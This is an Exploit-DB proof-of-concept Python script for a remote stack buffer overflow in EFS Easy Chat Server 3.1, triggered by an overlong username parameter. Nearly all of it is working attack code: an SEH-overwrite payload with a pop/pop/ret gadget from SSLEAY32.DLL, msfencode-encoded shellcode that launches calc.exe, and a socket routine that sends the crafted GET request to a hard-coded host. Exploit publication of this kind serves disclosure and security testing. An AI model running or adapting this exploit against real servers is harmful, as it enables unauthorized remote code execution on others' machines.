EFS Easy Chat Server 3.1 - Remote Stack Buffer Overflow

## Exploit-DB Note: The offset to SEH is influenced by the installation path of the program.
## For this specific exploit to work, easy chat must be installed to:
## 'C:\Program Files\EFS Software\Easy Chat Server'


# Exploit Title: Easy Chat Server 3.1 stack buffer overflow
# Date: 9 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.echatserver.com/
# Software Link: http://www.echatserver.com/
# Version: 3.1
# Tested on: Windows 7 Enterprise SP1, English
#
# Description: 
# A buffer overflow is triggered when when passing a long username.


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = ( 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

# SEH overwritten at offset 207 when Easy Chat Server is  
# installed in C:\Program Files\EFS Software\Easy Chat Server
payload =  "A"*203
payload += "\xeb\x06\x90\x90"           # short jmp to shellcode
payload += "\x1e\x0e\x01\x10"           # pop/pop/ret @ 0x10010E1E SSLEAY32.DLL
payload += "\x81\xc4\xd8\xfe\xff\xff"   # add esp,-128
payload += shellcode                    # calc.exe
payload += "D"*193

buf = (
"GET /chat.ghp?username=" + payload + "&password=&room=1&sex=1 HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host: 192.168.1.136:80\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://192.168.1.136\r\n"
"Connection: Keep-Alive\r\n\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.123.131", 80))
s.send(buf)
print s.recv(1024)